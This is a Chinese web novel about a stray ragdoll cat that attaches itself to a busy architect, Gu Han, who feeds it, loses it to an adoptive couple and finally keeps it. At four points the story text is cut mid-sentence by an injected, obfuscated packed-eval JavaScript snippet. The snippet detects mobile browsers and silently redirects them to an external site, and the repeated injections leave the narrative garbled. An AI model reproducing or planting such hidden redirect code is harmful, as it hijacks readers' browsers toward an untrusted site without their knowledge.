《人,猫喜欢你》 1. 喵 “求求了,让我变成少女吧!” 猫猫匍匐在神殿说,水汪汪的大眼睛看着面前的神像,她听附近的流浪猫说在这里求愿很灵。 外面那些两腿兽一个个都住那么大的房子,还有那么多东西可以随便吃,好羡慕,如果她能变成人的话应该就不用再挨饿了吧。 从神殿出来,猫心事重重地回到别墅门口,用爪子在地面刨了两下,对着紧闭的庭院门喵喵两声之后,堰旗鼓息地蹲坐下来看着门牌号。 “他怎么还没回来啊,都好久了。” 自从那天被投喂过之后猫就再没吃过东西了,那群猫说她长得太丑不肯带她玩,还霸占着食物不肯给她吃,猫饥肠辘辘,尝试过捕老鼠填饱肚子,可惜失败了。 从白天等到黑夜,那扇门都没有打开,猫沮丧地绕着别墅走了一圈,瞧见旁边那栋房子的草坪上站着许多人,火光冲天,焦香味从碳火上方飘散过来。 哇。 猫猫惊喜地瞪大眼睛,从矮栏杆上轻松一跃就跳了进去。 有人发现了她,用筷子挑了些吃剩下的肉放在地面,猫猫小心翼翼地觊着人的表情,见对方没有后续动作,她才试探性地咬了一口。 好吃好吃。 “嗷喵!” 一道恶劣的怒喝声在猫的耳边响起,紧接着她的胳膊就挨了撞击,痛感袭来,猫猫被撞倒在地,翻了个跟头,好半响才重新站起来,瞧见几只张牙舞爪的黑猫围绕在旁边,呲着牙发出低沉的呜呜声,威胁她离开。 猫猫又一次被集体霸凌了,到嘴的肉没有吃成,还挨了打,鲜血从她的脖子一路往胳膊渗。她伤心地回到原处,伸出舌头舔舐伤口。 好饿,好痛。 猫猫蜷缩成一团趴在草丛里,眼巴巴地看着那扇门,不知不觉间眼皮变得沉重,她睡着了,不知过了多久,刺眼的白色车灯从远方扫了过来,明晃晃地照在猫猫身上。 她惊愕而起,警惕地竖起绒毛躲在灌木下面偷看。 墨绿色的帕拉梅拉停顿在了别墅门口,车门打开,下来一个身高腿长的男人,他穿着剪裁得体的深色西装,动作优雅,身形修长,一边走一边打电话,月光勾勒出他刚毅的脸部线条,月空星影跳跃在他深邃的眼底。 啊,是他回来了! 猫猫非常惊喜地从草坪跳出来,跑到男人的脚下想要蹭他,但不知道是不是因为夜晚太黑的缘故,他似乎没看见她,就这么直接进屋了,猫在门即将关上的那一刻顺着门缝蹿了进去。 顾涵没注意脚下,他挂断电话将手机扔下沙发,脱下外套走进浴室,氤氲的热气开始在四周升腾,挺拔的身影在水雾中影影绰绰。 沐浴出来,没开灯的客厅一片昏暗。 顾涵抬手拢了拢额前凌乱的湿发,水珠顺着他结实的胸膛往下滑,在腹肌的沟壑间蜿蜒,最终隐没在腰间松松垮垮的白色浴巾里,月光从窗台洒进,在顾涵棱角分明的下颌线上投下一道阴影,喉结随着擦拭的动作轻轻滚动。 “喵,喵!” 不合时宜的猫叫声从客厅传来,顾涵不解皱眉,打开了客厅吊灯,一只毛绒绒的白色布偶猫蹲在地毯上,宝蓝色的眼睛正圆碌碌地望着他。 “你怎么进来的?”顾涵四下看了看窗户,没发现打开的痕迹,他半蹲下来面对布偶猫,认出这是前几日他曾在家门口投喂过的流浪猫。 那天下班回来瞧见这只猫徘徊在家门口,他就顺手喂了一顿,没想到今天又见面了。 “喵。” 猫猫有气无力地叫着,用侧脸去蹭顾涵的脚踝,又绕着他的脚下转圈圈。 顾涵盯着它看了几眼,发现了不对劲,伸手握住猫猫的腰身,轻轻把她托在手上,血痕在灯光的照耀下异常明显,洁白的猫毛上都是血痂。 “怎么回事,你跟别的猫打架了吗?” 猫猫吸了吸鼻子,想说她被别的猫欺负了,已经好几天没吃饱饭了,她现在好饿好饿。 “喵喵喵!” 顾涵把猫猫抱到沙发上坐着,也不知道猫受伤应该用什么药,听到她不停地叫,脖子处瘦的都能摸到骨头,猜到是饿了,他从冰箱里拿出肉饼罐头,用微波炉加热了一下,拿了个干净的盘子倒出来放在猫猫的面前。 “吃吧。” 猫猫深深地看了眼顾涵,似乎不敢相信能自己一只猫独吃这么大一份肉。她面对盘子愣神了好几秒,直到一双大手温暖地盖在她的头顶,彷佛无声地跟她说放心吃,她才终于放开胆子吃了起来。 顾涵在药箱面前思考很久。 他只有人用的药,猫应该要用兽药吧?挑挑拣拣许久,担心碘酒会刺激到猫咪导致应激,最后他拿了一瓶生理盐水回来,此时猫也吃完了,非常满足地仰躺在地毯,半眯着眼享受食物在肚子里消化。 顾涵抱着她起身,用生理盐水给她的伤口冲了冲,将脏兮兮的泥巴和灰尘都洗干净之后他才发现,原来猫咪的伤口非常的深,他怜惜地揉了揉猫咪的耳朵。 “谁欺负你啊,把你打的这么惨。” 猫猫不会说话,她只会喵喵喵,顾涵找来纱布将她的伤口包扎起来避免感染,打算天亮了再带她去看兽医,入睡前,他给喵拆了包鲜奶。 “吃饱喝足你就找个地方睡吧,明天再带你去看医生。”顾涵对着猫说,回到卧室继续打电话交代工作,猫猫也跟着进来,在书桌地下看了会儿,瞧准时机纵身一跃,跳上了顾涵的怀里。 他没穿衣服,腰腹位置暖洋洋的,猫猫轻轻贴在他的腹肌吸了吸他的味道,对他正在干嘛好奇的很。她探了探头,用前爪攀上书桌的边缘,发现面前是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042953|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆蓝色的纸,纸张勾勒着非常复杂的结构线条,猫猫不知道这是什么,只知道耳边一直传来男人强而有力的心跳声,她安心地闭上眼。 顾涵把电脑合上的时候,猫猫窝在他的膝盖上睡着了,他的手在猫背上拢过,毛绒绒的手感温暖又扎实,令人爱不释手。 他揉了揉猫咪的耳朵将它放到沙发。 作为建筑工程师,职业缘故他需要经常出差,没时间在家养猫,明天带她看医生的时候,顺便给她找个收养的家庭吧。 猫猫舒舒服服地在沙发上打了个转,吃饱喝足的她懒洋洋地伸了伸爪子,不小心扯到伤口又立马缩了回来,抬起头四处看看,昏暗的房间里只有月亮透入的细微亮光。 她站起来看了会儿,房间寂静无声,床上的两腿兽呼吸均匀。 猫猫挪步到床头的位置仰起脖子,接着一跃跳上床沿,用爪子伸进被子然后挤了进去。 她趴在床铺,往两腿兽的胸肌前贴了贴,鼻尖传来他身上干净的沐浴气息,猫猫惬意地眯眼,伸出舌头在他的肩颈处舔舔,然后窝在他的手臂处睡着了。 清晨,第一缕阳光穿透薄雾,悄然洒落卧室地板。 醒来的顾涵对上了一双蓝宝石般清澈的眼睛。 “喵。” 顾涵揉了揉眉心,闭了闭眼之后又重新睁开,猫咪正蹲在他的枕头上,一眨不眨地盯着他看。 “饿了?”顾涵坐起身,温热的指腹贴在猫咪的下颌。猫咪迟钝了一秒之后,把脑袋塞进他的手心来回磨蹭。 两腿兽的手掌温度很暖很舒服,味道也很香,猫咪很喜欢。她被顾涵抱了起来,喂了一些肉食,接着又被抱上了车,一路来到宠物医院。 “伤已经处理好了,没多大事。”医生对顾涵说,随手用逗猫棒撩拨猫,但是猫没有理会,她对这个穿白衣服的两腿兽感到很排斥,不想靠近他,她躲着站在桌面边缘,半站立起身,前爪像要抱抱似的对着顾涵晃了晃。 “嗯?”顾涵靠了过去,猫猫立即扑在他的胸口,顾涵摸了摸猫咪的脑袋,医生微微一笑,继续说:“除了外伤,其实刚才检查下来还发现了一些其他问题。” “根据猫咪的牙齿发育判断,她现在应该是一岁多左右,但是由于长期流浪,现在有些营养不良,后续得悉心照顾,不然怕是会引发其他病症。” “好。”顾涵怜惜地顺了顺猫的毛发:“治疗的费用由我来出,对了,麻烦帮我找个能收养她的家庭。我经常出差不着家,没办法照顾她。” “可以,我帮你问问这边的客户有没有想要的。” 就这样,猫咪被抱着收回了笼子里,她隔着栏杆的缝隙看着那个渐渐远处的身影,又害怕又惊慌,双爪扒着笼子不停的喵喵叫。 她要被带去哪里,两腿兽不要她了吗? 2. 喵 猫猫在宠物医院待了好些天。 她的伤在精心打理之下很快就痊愈了。她对时间没有概念,只知道从那天之后就再没见过顾涵,她独自蜷缩在笼子里,耷拉着耳朵想,两腿兽是不是不要她了,为什么把她困在这里,他到底想做什么? 如此过了两日。 直到某个早上,猫猫被人从笼子里取了出来,装进手提式宠物箱,放上了车子后座,对方将她从宠物医院带走了。 猫猫警惕地盯着在自己面前的一男一女,这两人时不时回头看她一眼,有说有笑,似乎是在商量怎么安置她。 不要不要!猫猫在心中呐喊,她不要被带走,她不想离开主人,放她出去放她出去! 猫不断地用前爪扒拉笼子栏杆,同时后背炸毛发出低鸣的轰轰声。 “怎么了?猫咪是不是应激了?” “没事没事,等会到家就好了。” 猫猫的反抗淹没在车流声中,随着一脚刹车,她被被带进了一个陌生的环境,这里跟顾涵的住处很像,也是有床有沙发,但没他那处精致。 小小的一居室里,一只黑狗围住主人的脚来回转悠,提起鼻子四处闻闻,发现了猫这个意外来客。 它动作一顿,似乎有些不可置信这个家除了它以外即将迎来新的宠物,它缓慢停止了尾巴的摇动幅度,垂下嘴角,摆出一副忧伤的神色。 女主人见状立马半蹲下来摸了摸它的头顶说:“多多,这是妈妈新收养的妹妹,你要和她好好相处,不准欺负她知道吗?” 黑狗哼哼唧唧地发出几声叫唤,像是答应了女主人的要求。 猫猫在车上折腾了一路,这会也累了,趴在笼子里,被女主人抱了出来放在了猫窝,对方给她端来了一盆干净的水,还撕开了一包猫条喂到她嘴边。 好香,有好吃的。 猫猫睁大了眼睛,用鼻子闻了闻猫条的味道后就舔了上去。 管他什么三七二十一,有好吃的她就吃,猫不委屈自己。 猫条吃完,猫猫意犹未尽,对着女主人喵喵叫了好几声,女主人被她叫唤的心都软了,又给猫猫连撕了好几条猫条。多多眼红不过,几次三番来捣乱都被女主人拍了回去。 猫猫吃完猫条一整个精神爽快,直起腰杆消食,趴窝在一旁的多多紧紧地盯着她,漆黑眼睛酝酿着嫉妒的光,趁主人不在这里,它对着猫猫低声吠了几道,凑近她身边抬起狗爪想欺负她,被猫猫灵活躲了过去。 晚上。 猫猫睡的很不舒服,她不适应这个陌生环境,尤其旁边还有一条蠢蠢欲动的大黑狗,她趴在猫窝,一时瞧瞧周围的环境,一时眯着眼打盹,来回横跳之际,她想到了顾涵。 她好想回去,她不想在这里,主人的房子比这里豪华,睡觉的垫子也比这里舒服,他身上的味道好香,她好想他,可是…… 主人是不是不要她了? 猫猫悲伤地想。 自从那天分别之后她就再也没见过他了,他应该是不想要她了吧。 意识到这点,猫猫悲伤地垂下头。 头一天就这么过去了。 到了第二日。 猫猫被丁铃当啷的声音吵醒,她疑惑着走到房间看了眼,见到两个主人在收拾东西,嘴里还念念有词,态度谦卑。 “好好好主管你放心,我现在就买机票飞去当地看看情况,抱歉抱歉给您惹了这么大的麻烦。” 猫猫不明所以,不懂人类世界的复杂,她呆呆地矗立一旁,直到女主人拿着食物放到她面前,拍拍她的脑袋跟她说:“乖乖宝,爸爸妈妈要紧急出差几天,食物给你提前放好在地上了,我们很快回来。” “喵。” 随着关门声响起,主人拖着行李出发了。 安静的房间内只剩下一猫一狗。 原本在主人面前温顺听话的多多在主人离开之后瞬间换了一副嘴脸,它呲着牙,用爪子在地面刨了两下,恶狠狠地对着猫猫狂吠,像是要把她吃了似的。 猫猫不甘示弱,背脊高高拱起,身上的毛全部竖立,虽然自己的体型比它小很多,但她并没打算认输,而是先发制狗,在黑狗还没反应过来之时便朝它扑过去,用锋利的爪子在黑狗的前臂留下划痕。 猫爪锐利如刀,黑狗的皮肤马上破了一道口子,疼痛让它的眼神变得异常凶狠,它死死地盯着眼前的目标,身体微微下蹲,朝猫猫跃起发动攻击。 猫猫身体灵活轻松躲过,黑狗扑了个空,可他们的体型差距过大,黑狗步步紧逼猫猫让它没办法前进,在交战中落于下风,渐渐被逼到了窗台角落。 黑狗一跃而上,扑到猫猫的面前,双爪用力往猫猫身体抓去,猫猫为躲开它只能往后退,结果噗噜一声,她从窗台掉下去了。 好在这里是一楼,摔在地上的猫猫毫发无损,她瞬间站立起来抬头一看,黑狗从缝隙中探出头,露出得意洋洋的神色,然后在她的注目下用狗爪把窗关上了。 猫猫再也进不去这个‘家’了。 切…… 谁稀罕呆在这里。 猫猫原地坐下,非常优雅地给自己舔毛,将凌乱毛发梳理好后,她毫无留恋地离开了这里。 街上车水马龙,繁华的城市到处都是行色匆匆的人,猫猫行走在他们之中,时常听到一些关于她的惊呼。 “好可爱啊我的天。” “这是布偶吧?” “应该是,怎么在这儿,是流浪猫吗?” “她好美哦,简直就是猫界公主好吗。” “别逗了,真正的猫界公主是三花猫,布偶猫在猫眼里是最丑的。” “……” 猫猫对这些声音视若无睹,累了她就找个草坪趴着休息,饿了……她今天被很多路人投喂,不饿。 太阳西斜,最后一缕暖阳消失在了摩天大楼的背面,猫猫伸了伸懒腰,一个咕噜从地上起来,继续漫无目的地走着。 以前她就是这样到处流浪,现在这样和以前也没什么不同。 只是,经历过被人精心照顾的日子后,猫猫的心态很难回到以前,她忍不住地想回到顾涵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎么回事?现在又来一只,他这么招猫喜欢吗。 回到别墅区,保安认出了他的车,将他请到了安保部,给他看犯罪嫌疑猫。 “就是这只猫了,我们看了监控,它是傍晚来的,一来就开始捣乱,喏,把您家的门联都给撕了,还有水培的郁金香也是,全被它弄翻了。” 这些都是无关紧要的小玩意,顾涵根本就没放在心上,他之所以跟着保安来这里,纯粹是想看看这猫到底是何方神圣。 他站定在桌子面前。 猫猫坐在桌面仰起头,看见他来,猫猫先是对着他喵喵叫了好几声,紧接着五步作三步地跳了过来,前爪紧紧攀附在他的手臂上。 顾涵的眼底闪过惊讶,这不是那只布偶吗? 担心猫猫摔着,他赶紧用手将猫猫的下半身捧起来,揉了揉她的脑袋问:“你怎么在这里?怎么回来的?” 说完之后顾涵觉得不对劲,他这是在干嘛。她是猫,她又听不懂,又不会回答。 谁知,怀里的猫猫非常有灵性,对着顾涵又喵喵几声,像是在回答他的问题。顾涵静静地看她一眼,除了毛发有些灰尘脏脏的,没发现受伤的地方。 “不是什么大事,赔偿就算了吧。”顾涵抱着猫猫对保安说:“我把它带走。” “好。” 3. 喵 顾涵把猫猫带回了家,一栋三层高的西式独栋洋房。 眼前的倔强小猫眼神忿忿,宝蓝色的眼睛往下耷拉,眼皮抿成一条直线。 顾涵稍稍低头,伸手摸了摸它的脑袋,另一手摸出手机打通了宠物医院的电话了解情况,对方说猫被收养之后丢了,养主正到处找。 他半蹲下来,猫猫仰起头与他对视:“喵喵……” 顾涵彷佛能从她的眼神中看出几分哀怨,他瞧着小猫爪,有点难以想象她是怎么找到这里的,难道猫也有认路的本事? 猫猫站起来走两步,站在顾涵脚下,用前爪扒拉他的皮鞋,急促地喵喵喵。 她饿了,她要吃东西,还要喝上次那种白色的水。 “嗯?”顾涵轻轻握着猫猫的腰身将她托举到自己的面前:“饿了?” 宝蓝色的眼睛一闪一闪:“喵。” 顾涵独居且经常出差,家里没有常备食材,他翻箱倒柜许久都没找到任何能给猫猫吃的食物。 坐下沙发,顾涵给助理打了个电话,让他买点猫粮之类的东西送过来。猫猫趴在他的大腿听着他的话,小脑袋一点一点地打着盹。 顾涵有些好笑地捏捏猫耳朵,小猫儿软乎乎一团,能感觉到她皮肤下传来的心跳震动:“真不怕生,敢这么睡。” 猫猫惬意地抬起眼角扫了他一眼,似乎是在回应他,动了动后腿,示意顾涵给她揉揉。 她怕什么,这里有吃有喝舒服极了,还有主人给她按摩,多好。 不多时,门铃响起,顾涵按下遥控器,大门打开,钟博明走了进来,手里提着一包冻干一包猫粮,他看了眼沙发上的男人,白色猫猫趴在他的腿上睡得正香。钟博明把东西放在茶几,有些惊讶道:“涵哥,你养猫了啊?” 小猫咪在顾涵的腿上睡的一呼一呼,听到声响也不起来,顾涵用拇指按在猫咪的鼻子上:“还不起来吃东西?” “喵。”猫猫睁开眼,顾涵将她抱起放在沙发,拿了个干净的盆子倒出猫粮和冻干放在她面前。 钟博明跟随着猫猫的动作半蹲下身,好奇地看着,对顾涵说:“涵哥,你平时这么忙还有时间养猫啊?看起来像是布偶,真漂亮啊,这得多少钱?” 他边说边伸手过去摸猫的脑袋,猫猫躲开了他的接触,转而往顾涵的方向贴去。 猫猫不喜欢陌生人,不想被他碰。 “这小玩意。”钟博明笑笑,顾涵安抚地撸了撸猫的后背,回答说:“算是捡到的。” 钟博明惊呼:“哪捡的这么漂亮,我也去蹲点。” “家门口。” “羡慕。” 钟博明恋恋不舍地把目光转回来,对着顾涵:“涵哥还没吃饭吧,我顺道给你订了饭,清蒸东星斑,石橄榄龙骨汤,趁热。” 顾涵刚落地回到家就去把猫带回来,确实还没顾得上吃饭,“谢谢。” 将饭盒盖打开,清新鲜美的蒸鱼味瞬间飘散在四周。猫猫从冻干中抬起头,露出愕然又惊喜的表情,这是什么味道,好香好香,猫猫喜欢。她忙不迭地四处嗅嗅,顺着沙发一跃跳上茶几,蹲在了盒饭面前。 “喵。” 垂涎三尺几个字刻在了猫猫的脑门,顾涵停下筷子:“你也想吃?” “喵。” 没有人能拒绝既可爱又会撒娇的猫猫,顾涵也不例外,他用筷子把东星斑的鱼肉都剔下来,一块一块地喂到猫猫嘴边,直到把一整条鱼都吃完。 猫猫很满足地眯起眼睛,她吃的好饱,第一次吃到这么好吃的肉肉,她感到非常幸福,直接跳上顾涵的怀里,把脸贴在他的小腹来回摩挲两三圈,又挺起脖子在顾涵的颈脖处蹭蹭,最后躺到了顾涵的臂弯。 “喵。” 顾涵用手托着猫猫让她站起身:“吃饱了?玩去吧。” 他推了推猫,但猫猫没走,反而在沙发上躺了下来,像是要陪着他。 彼时钟博明刚好接了个电话,只见他一脸难色地听着,挂断之后回过头来跟顾涵说:“涵哥,项目现场又吵起来了,施工那边希望您明天能过去一趟,说是现场施工与图纸设计有冲突,需要协调。” 刚到家椅子都没坐热就要去出差,换谁心里都不好受,顾涵平静回复:“嗯。” 这次的项目是H市的旅游地标项目,施工图很早就通过审查手续了,现场也开展施工了,之所以三天两头出现这种麻烦的情况,纯粹是甲方要求多,施工又想省成本,两方纠缠之下只能让负责总设计的顾涵出面斡旋。 钟博明:“那我就先回去了。” “好。” 门打开又被关上,客厅里只剩一人一猫。 顾涵盯着猫儿看,脑中正思忖着怎么妥善安置她,突如其来的门铃声打断了他的思考。 顾涵开门,只见门口站着一男一女,看着像情侣,两人都抻着脖子越过他往屋子里看。 “你好,顾先生是吗?”女的率先发话,神态看上去有几分着急:“我们是来找猫的,宠物医院来电说猫在你这儿?请问我们可以进去看看吗?” 顾涵打量了他们几眼,二人的表情拘谨中透着担忧,不像作假,他微微点头侧过身让出点位置。猫咪听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042955|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见声响从沙发爬起,睁大了她好奇的双眼。 女人很激动,小跑着来到猫猫面前喊着说:“宝宝,你真的在这里,知不知道妈妈找你都要找疯了!” “来来来,回家吧。”男的把手提式宠物箱打开,想把猫猫抓进去。 怎么又是这两个人,他们想干什么!她不想离开这里,不想再见到那条大黑狗。 “喵!” 猫猫大叫一声,当即从沙发跳了下来,跑着去到顾涵的脚边,前爪拼命扒拉着顾涵的西裤,在他的裤脚留下划痕。 小情侣见状呆在了原地,顾涵弯腰把猫猫抱在怀里,用手背轻轻安抚她:“乖。” 直到猫猫的情绪平稳了下来,顾涵才语调冷漠地问:“猫猫对你们很排斥,你们对她干了什么?” 小情侣对视一眼,微微一愣,接着说:“没干什么啊,我们把猫带回家,结果第二天临时出差,再回家的时候猫猫就不见了。” “顾先生,我们是真的很喜欢这只布偶,想收养她带她回家的。” 能被宠物医院挑中的家庭,很大概率是因为经常光顾所以才被医生记住,是富有爱心的饲养者。顾涵的脸色柔和了半分,怀里的猫猫用脑袋在他的手心蹭蹭,很依赖地贴着他。 顾涵沉默几许,虽然他也很喜欢猫猫,但他工作太忙,实在是没办法抽出时间好好照顾猫猫。就像刚才说的,出个差的时间猫猫就跑了,他平常又不怎么着家,把猫猫放家里他会担心,既然这样,还不如就此放手,让猫猫在更好的家庭中生活。 他把猫猫放了下来。 “去吧。” 小情侣感谢地对着顾涵一笑,正欲擒住猫猫,猫猫却朝着顾涵一跳,四爪并用地扎在他的前胸:“喵!喵!喵!” 他这是想干什么!是想觉得猫猫吃的多所以想把猫猫送走吗?猫猫不走,猫猫不喜欢那个家,猫猫就要待在这里! 猫猫的反抗很激烈,浑身炸毛,顾涵还是第一次见她这样,赶紧把她抱起来,小猫儿张着嘴巴对着他非常凶巴巴地喵喵喵。 “看来猫咪是铁了心要跟你。”男人把宠物箱关上门,无奈地摇摇头,女人看了看顾涵,又看了看猫:“她很黏你,我家和你家相隔十几公里她都能找回来,就算我们把她重新带回去也是管不住的。既然这样,猫猫就留在你这里吧,我们放弃了。” 顾涵从没有想过自己有一天会被一只猫给赖上。 两人离开后他帮猫洗了个澡,睡觉之前还给她拆了包牛奶,看着轻轻啜饮的猫咪,顾涵犯了难。 “我该拿你怎么办?” 4. 喵 顾涵帮猫猫洗了澡。 按理说猫猫是很怕水的,但顾涵给她洗的时候却很配合。 吹干的时候风筒的声音很大,小动物的听觉又这么灵敏,顾涵想着要不要买一台专门的猫猫烘干机回来。 “喵。”猫昏昏欲睡,眼皮子耷拉下来,小爪子一软便想就地而睡。顾涵搂住她的肚子,将她放到沙发,然后去浴室洗澡。再出来时,沙发不见猫猫身影,顾涵略一狐疑,回到卧室一把掀起被子。 果然,猫猫趴在他的枕头上睡得正香。 两边猫耳自然垂下,双目紧闭,小脑袋轻轻地靠在爪子上,肚皮随着呼吸轻轻起伏,脸上挂着满足的微笑,仿佛正做着甜甜的梦。 顾涵用拇指揉了揉猫脸,把床的大部分位置让给了它,自己躺到另一边。他单手支在脑后,沉默着思考要怎么照顾这只猫。他明天要出差,把猫猫独自留在家里显然是不行的,但是把猫交给别人照顾他又不放心。 权衡良久,顾涵最终决定带着猫猫一起出差。 临行前,顾涵特意去买了一个便携式宠物包,还有牵引绳,猫粮零食等等。来到机场,顾涵没有选择宠物托运,而是把猫猫装进太空箱,带上了客舱。 飞机嗡嗡的轰鸣声让猫猫眼睛圆睁,瞳孔放大,她不安地从透明圆孔处张望,低声喵喵喵,顾涵俯身看了她一眼,语气安慰:“乖,没事,很快就好。” 猫猫缓慢平息了警惕,乖乖匍匐在地上,担心自己又一次被抛弃,她全程不敢闭眼,时不时要探头看看顾涵还在不在。但是渐渐地,猫猫开始感到头晕目眩,她的眼前一片模糊,小肚子也隐隐发胀,像是有什么东西在她的肠胃里翻江倒海,连喵喵叫的力气都没有,四肢摊平趴在箱子里一动不动。 好难受,好难受。 猫猫迷离着眼睛,脑袋开始不受控制地超前栽去,过了一会又缓缓回旋,这种失重感让猫猫疲态尽显,了无生气。 一下飞机顾涵就赶紧把猫猫抱了回来搂在怀里,接了点热水喂给她。 “喵……”猫猫有气无力地抬起下巴,对上了顾涵担心的眼神,他轻轻抚着她的后背说:“你晕机了,别动,先缓一缓。” 什么是晕机啊?猫猫眨眼,晕坨坨地倒在顾涵的怀里。他身上是一股温暖的木质香,嗅上去有点像香根草的尾调,猫猫紧闭双眼,趴在顾涵宽阔的怀里睡了过去。 机场的旅客来来往往。 顾涵抱着猫猫一直坐在机场大厅,直到猫猫的呼吸平稳下来,应激症状减轻,他才深深地呼出一口气,低头在猫猫的头顶落下一吻。 是他考虑不周,没想到猫猫会晕机这点。 铃铃—— 手机突然响起,怕吵醒猫猫,顾涵捂住了她的耳朵,单手接起电话。 是钟博明打来的,跟他汇报工作,告诉他图纸洽谈约在了三小时之后。顾涵看了眼手表,这次的项目是一个在建的硫磺温泉度假村,地址距离市区较远,开车要三个小时左右,以前他出差到这大部分情况都是在项目地上的宿舍凑合两晚。 他一个大男人,到哪里睡不是睡?可现在不一样了,身边带着个猫猫,他舍不得让她住那种地方。 于是,顾涵打车到最近的五星酒店开了个房,把猫猫安顿好,又吩咐酒店人员帮忙照顾一下,才出发去往项目地。 顾涵到的时候,比约好的时间晚了半小时,刚到项目部就见钟博明神色焦急地站在门口。 “有点事路上耽搁了。”顾涵解释,看了眼钟博明:“现在什么情况?” 钟博明忿忿皱眉,说:“施工那边的意思是想让我们出设计变更,把护坡的挡土墙厚度减10公分,我找造价那边确认过,这么做有利于施工那边降低成本,所以他们才不依不饶地让我们改图。” “嗯。”顾涵浅浅应了一声,没有继续说话。钟博明静静凝视一眼,看到顾涵面露冷意,气场沉降。 钟博明一直都挺崇拜顾涵的。 顾涵本科毕业于清华大学,硕士考上了哈佛大学,研究方向是可持续设计与城市发展,拥有注册建筑师,LEEDAP,WELLAP等等专业资格,28岁就成立了自己的设计工作室,领导团队完成多个国际地标性项目,包括高层建筑、文化中心和可持续城市设计,主导设计的项目还获得了20xx年全球最佳建筑奖。 是精英中的精英,男人中的男人。 钟博明凑近顾涵,压低声音:“那边说了,让我们找个理由跟业主提改图的事,事成之后,就……” 钟博明做了个搓手指的姿势。 顾涵冷笑一声。 设计图是根据现场实际与相关设计规范所设计,结构部分设计得符合承载力要求,贸然更改墙体厚度很大可能会降低挡土墙的支撑力,埋下隐患,出现崩坍。没有足够的理由,设计师不会出具任何设计变更通知单,更何况,这次施工方要求的改变本身就不合理,竟然还想让他们设计出面去诓骗业主。 顾涵斜睨一眼远处的河提,图纸上,挡土墙的延伸范围就是从这里开始。 “涵哥,我们要怎么做?真的改图吗,还是……”钟博明问。 顾涵挑高眉梢:“不急,等会帮我做件事。” 日头渐渐西斜。 顾涵结束会谈从项目部出来的时候,天色从四面八方暗下来,大地逐渐被夜色笼罩。 施工的负责人喜笑颜开地攀着顾涵的肩膀,有说有笑地要请他今晚吃饭。钟博明看在眼里,想在心里,不知道涵哥这是闹哪出?随即按照顾涵的要求打印图纸去了。 有人请客吃饭,没有不去的道理。 到了餐厅,点菜的时候顾涵一点也不客气,专挑贵的点,毕竟现在是对方有求于他。 这是座沿海城市,盛产海鲜,清蒸东星斑上菜的时候,顾涵一下就想起猫猫了,或者是心有灵犀,就在这个关头,酒店打了个电话过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042956|162624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您好,请问是顾先生吗?您的猫猫她……” 顾涵赶回酒店的时候,猫猫身体蜷缩在墙角,浑身炸毛肌肉僵硬,尾巴紧贴身体,双眼瞪大,警觉地盯着入门处。 “喵!喵!” 猫猫发出凄厉地叫声,她一觉睡醒发现自己到了一个非常陌生的地方,顾涵不见了,取而代之的是一个陌生男人,猫猫害怕,猫猫不知道这是哪里。所以她只能把自己武装起来,企图喝退接近她的人。 侍应生对着顾涵面露难色:“猫猫应激了,我们多次想要接近猫猫把她从墙角抱出来都没成,她很戒备,我们根本靠近不了。” 说着,他指了指地上散落的猫粮:“她还把猫粮打翻了,今天一天都没吃东西。” 顾涵担忧皱眉,迈步从门口跨入。顺着地上散落的猫粮痕迹缓缓站定在墙角,随后半蹲下来,对上了那双宝蓝色眼睛。 “乖,我回来了,你出来好不好?”顾涵放轻语调对猫猫说,猫猫躲在角落无动于衷,唯有那双眸子染上了愤怒的神色。 猫猫气汹汹地朝顾涵呲牙! 他竟然又把她抛下了! 这次猫猫绝对不原谅他! “喵!喵!喵!” 猫猫连续大喊三声,耳朵紧贴头颅,宛如一团被激怒的毛球,嘴角微微上扬,露出尖尖的牙齿。 顾涵大致猜到猫猫生气的原因,他好脾气地坐下地毯,目光与她平视,对着猫猫张开双手:“我不是故意丢下你,是你晕机身体不舒服,我委托他们来照顾你而已。乖,你一天没吃东西了,饿不饿,我给你带了好吃的。” 猫猫听闻,情绪肉眼可见地稳定了下来,四个小爪匍匐在地,圆碌碌的眼睛浮上一层薄雾。 她有些迟疑地抬起头,看了眼顾涵,彷佛再说是真的吗,你真的没抛弃我? “是真的,你这么可爱我怎么舍得抛弃你,我疼你都来不及。”顾涵一边说一边朝猫猫的方向挪近一点,瞧见猫猫神态终于松动,他适时把餐盒的盖子打开,清蒸鱼的香气立马飘散在空气中。 猫猫瞬时睁大了眼睛。 